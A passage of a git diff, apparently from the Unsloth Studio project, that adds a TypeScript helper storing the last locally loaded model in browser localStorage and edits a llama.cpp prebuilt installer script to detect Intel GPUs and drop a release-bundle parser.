modelId, kind: "model" }); + } + } // A successful load owns the shared (pick-unscoped) settings fields, // so any surviving stage is stale: the just-loaded pick itself, or a // pick queued for a different model mid-load whose knobs this load diff --git a/studio/frontend/src/features/chat/utils/last-local-model-load.ts b/studio/frontend/src/features/chat/utils/last-local-model-load.ts new file mode 100644 index 0000000000..099386fbc7 --- /dev/null +++ b/studio/frontend/src/features/chat/utils/last-local-model-load.ts @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +export type LastLocalModelKind = "gguf" | "model"; + +export type LastLocalModelLoad = { + id: string; + kind: LastLocalModelKind; + ggufVariant: string | null; + loadedAt: number; +}; + +const STORAGE_KEY = "unsloth.last-local-model-load.v1"; + +function storage(): Storage | null { + try { + return typeof localStorage === "undefined" ? null : localStorage; + } catch { + return null; + } +} + +function isLastLocalModelKind(value: unknown): value is LastLocalModelKind { + return value === "gguf" || value === "model"; +} + +export function readLastLocalModelLoad(): LastLocalModelLoad | null { + try { + const raw = storage()?.getItem(STORAGE_KEY); + if (!raw) { + return null; + } + const parsed = JSON.parse(raw) as Partial; + if ( + typeof parsed.id !== "string" || + !parsed.id.trim() || + !isLastLocalModelKind(parsed.kind) || + typeof parsed.loadedAt !== "number" + ) { + return null; + } + if ( + parsed.kind === "gguf" && + (typeof parsed.ggufVariant !== "string" || !parsed.ggufVariant.trim()) + ) { + return null; + } + return { + id: parsed.id, + kind: parsed.kind, + ggufVariant: + typeof parsed.ggufVariant === "string" ? parsed.ggufVariant : null, + loadedAt: parsed.loadedAt, + }; + } catch { + return null; + } +} + +export function recordLastLocalModelLoad(input: { + id: string; + kind: LastLocalModelKind; + ggufVariant?: string | null; +}): void { + const id = input.id.trim(); + if (!id) { + return; + } + const ggufVariant = input.ggufVariant?.trim() || null; + if (input.kind === "gguf" && !ggufVariant) { + return; + } + try { + storage()?.setItem( + STORAGE_KEY, + JSON.stringify({ + id, + kind: input.kind, + ggufVariant: input.kind === "gguf" ? ggufVariant : null, + loadedAt: Date.now(), + } satisfies LastLocalModelLoad), + ); + } catch { + // Ignore disabled storage / quota errors; auto-load falls back to size order. + } +} diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py index 6c75e6c394..40caebc040 100644 --- a/studio/install_llama_prebuilt.py +++ b/studio/install_llama_prebuilt.py @@ -10,6 +10,7 @@ import argparse import atexit import errno import fnmatch +import glob import hashlib import json import os @@ -265,6 +266,7 @@ class HostInfo: has_physical_nvidia: bool has_usable_nvidia: bool has_rocm: bool = False + has_intel_gpu: bool = False rocm_gfx_target: str | None = None # (major, minor) from platform.mac_ver(); None off macOS or if unparseable. # Skips a macos prebuilt whose minimum-OS exceeds this host. @@ -1284,162 +1286,6 @@ def synthetic_checksums_for_release( ) -def parse_direct_linux_release_bundle( - repo: str, release: dict[str, Any] -) -> PublishedReleaseBundle | None: - release_tag = release.get("tag_name") - if not isinstance(release_tag, str) or not release_tag: - return None - - assets = release_asset_map(release) - artifacts: list[PublishedLlamaArtifact] = [] - inferred_labels: list[str] = [] - - linux_asset_re = re.compile( - r"^app-(?P